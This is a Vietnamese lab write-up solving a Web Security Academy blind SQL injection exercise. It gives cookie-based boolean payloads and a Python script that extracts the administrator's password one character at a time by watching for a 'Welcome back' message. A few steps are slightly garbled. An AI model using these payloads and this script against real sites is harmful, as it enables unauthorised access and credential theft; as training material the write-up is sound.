Lab: Blind SQL injection with conditional responses

Mô tả

Phòng thí nghiệm này chứa lỗ hổng blind SQL injection . Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.

Kết quả của truy vấn SQL không được trả về và không có thông báo lỗi nào được hiển thị. Nhưng ứng dụng sẽ bao gồm thông báo "Welcome back" trong trang nếu truy vấn trả về bất kỳ hàng nào.

Cơ sở dữ liệu chứa một bảng khác có tên là users, với các cột có tên là usernamepassword

Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người administratordùng.

Phân tích

Xác nhận ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.

Xác nhận rằng tham số cookie theo dõi có dễ bị tấn công SQL hay không

Xác định thông báo "Welcome back" có được hiển thị hay không khi them vào giá trị TrackingID các giá trị luôn đúng luôn sai

' AND '1'='1

' AND '1'='2

Ứng dụng phản hồi khác nhau trong trường hợp đúng và trường hợp sai. Do đó, có thể xác nhận rằng tham số cookie theo dõi dễ bị tấn công SQL injection.

Xác nhận cơ sở dữ liệu chứa chứa một bảng khác có tên là users

' AND (SELECT table_name FROM information_schema.tables WHERE table_name = 'users') = 'users'--

Xác nhận tên người dùng administrator có tồn tại trong bảng users không

' AND (SELECT username FROM users WHERE username = 'administrator') = 'administrator'--

Liệt kê để tìm mật khẩu cho tài khoản administrator

Cần xác định độ dài

' AND (SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1 ) = 'administrator'--

Xác định từng kí tự

' AND SUBSTRING((SELECT username FROM users WHERE username = 'administrator'), 1, 1) > 't

Giải pháp

Ước lượng độ dài mật khẩu administrator

< 30
1

Độ dài nằm trong khoảng [2;29]

Xác định chính xác sử dụng Burp Intruder

Kích thước response thay đổi khi tới giá trị 20, có thể suy đoán không trả về thông báo "Welcome back" kể từ giá trị này, tức độ dài Password không lớn hơn 20 ký tự => Xác định Password có 20 ký tự.

Tìm các ký tự của mật khẩu administrator

Theo gợi ý, cho rằng mật khẩu chỉ chứa các ký tự chữ thường và số. Dựa vào đó xây dựng đoạn code Python để bruteforce mật khẩu

#!/usr/bin/python3
from bs4 import BeautifulSoup
import requests
import sys
import urllib3
import urllib

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def sqli_password(url):
    password_extracted = ""
    session = requests.Session()
    session.proxies.update(proxies)
    session.verify = False

    for i in range(1, 21):
        for j in range(48, 123):  
            if not (48 <= j <= 57 or 97 <= j <= 122):
                continue

            sqli_payload = "' AND (SELECT ascii(SUBSTRING(password, %s, 1)) FROM users WHERE username='administrator') = '%s'--" % (i, j)
            sqli_payload_encoded = urllib.parse.quote(sqli_payload)
            cookies = {'TrackingId': 'xobmwj6tkH8Wvgly' + sqli_payload_encoded, 'session': 'MQgjFhIb4RT0It0NqqLtwu1fK4J2Ssc9'}
            r = session.get(url, cookies=cookies)
            if "Welcome" in r.text:
                password_extracted += chr(j)
                sys.stdout.write('\r' + password_extracted)
                sys.stdout.flush()
                break

def main():
    url = "https://0ada000b04622e4d863db14200cc006b.web-security-academy.net/"
    sqli_password(url)

if __name__ == "__main__":
    main()

Last updated